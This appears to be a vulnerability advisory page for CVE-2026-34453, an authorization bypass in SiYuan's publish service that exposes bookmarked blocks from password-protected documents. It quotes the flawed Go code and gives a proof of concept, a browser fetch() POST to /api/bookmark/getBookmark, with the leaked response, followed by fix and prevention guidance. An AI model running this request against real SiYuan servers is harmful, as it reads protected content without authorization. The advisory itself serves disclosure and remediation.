Skip to content

GHSA-c77m-r996-jr3q CVE-2026-34453 GO-2026-5318

SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
1.23%
Chance of exploitation in the next 30 days. Higher than 68.86% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-863 Incorrect Authorization
Fix
3.6.2
Upgrade github.com/siyuan-note/siyuan/kernel to this version or later

Description

Summary

The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.

Details

The issue is caused by an authorization bypass in the bookmark API path used by the publish service.

In kernel/api/bookmark.go, getBookmark checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes nil as the request context:

if model.IsReadOnlyRoleContext(c) {
    publishAccess := model.GetPublishAccess()
    tempBookmarks := &model.Bookmarks{}
    for _, bookmark := range *bookmarks {
        bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)

In kernel/model/publish_access.go, FilterBlocksByPublishAccess allows access when c == nil:

if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&
   (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
    ret = append(ret, block)
}

This bypasses the intended password enforcement performed by CheckPublishAuthCookie, which validates the publish-auth-<id> cookie for protected content.

The publish proxy authenticates anonymous publish visitors with a RoleReader token, and CheckAuth accepts RoleReader, so unauthenticated publish visitors can reach /api/bookmark/getBookmark and trigger the vulnerable code path.

I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a POST /api/bookmark/getBookmark request. The response returned a bookmark group containing the protected block in data[0].blocks, confirming the bypass.

PoC

  1. Start SiYuan with the publish service enabled.
  2. Create a new document, for example publish-bookmark-poc.
  3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.
  4. Open the block attributes and assign a bookmark label, for example leak-test.
  5. In Doc Tree, enable Publish Access Control and set the document to Protected.
  6. Set a password for that document, for example test123, and confirm the change.
  7. Open the publish service in a fresh incognito/private browser session.
  8. Verify that opening the protected document through the publish UI requires the password.
  9. Without entering the password, open the browser developer console and run:
fetch("/api/bookmark/getBookmark", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: "{}"
})
  .then(r => r.json())
  .then(x => console.log(JSON.stringify(x, null, 2)));
  1. Observe that the response contains a bookmark entry such as:
{
  "code": 0,
  "msg": "",
  "data": [
    {
      "name": "leak-test",
      "blocks": [
        {
          "box": "20260327012540-ppsxc5j",
          "path": "/20260327012543-acu1mdn.sy",
          "hPath": "/publish-bookmark-poc",
          "id": "20260327012543-1y6djn1",
          "rootID": "20260327012543-acu1mdn",
          "parentID": "20260327012543-acu1mdn",
          "name": "",
          "alias": "",
          "memo": "",
          "tag": "",
          "content": "​<span data-type=\"code\">​BOOKMARK_SECRET_123</span>​",
          "fcontent": "",
          "markdown": "`BOOKMARK_SECRET_123`",
          "folded": false,
          "type": "NodeParagraph",
          "subType": "",
          "refText": "",
          "refs": null,
          "defID": "",
          "defPath": "",
          "ial": {
            "bookmark": "leak-test",
            "id": "20260327012543-1y6djn1",
            "updated": "20260327013116"
          },
          "children": null,
          "depth": 1,
          "count": 0,
          "refCount": 0,
          "sort": 10,
          "created": "",
          "updated": "",
          "riffCardID": "",
          "riffCard": null
        }
      ],
      "type": "bookmark",
      "depth": 0,
      "count": 1
    }
  ]
}

Actual result: /api/bookmark/getBookmark returns bookmarked blocks from protected documents without requiring the publish password.

Impact

An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the Protected publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
< 3.6.2
3.6.2
github.com/siyuan-note/siyuan/kernel
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/siyuan-note/siyuan/kernel Go → 3.6.2

go
go get github.com/siyuan-note/siyuan/kernel@v3.6.2 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-863: Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor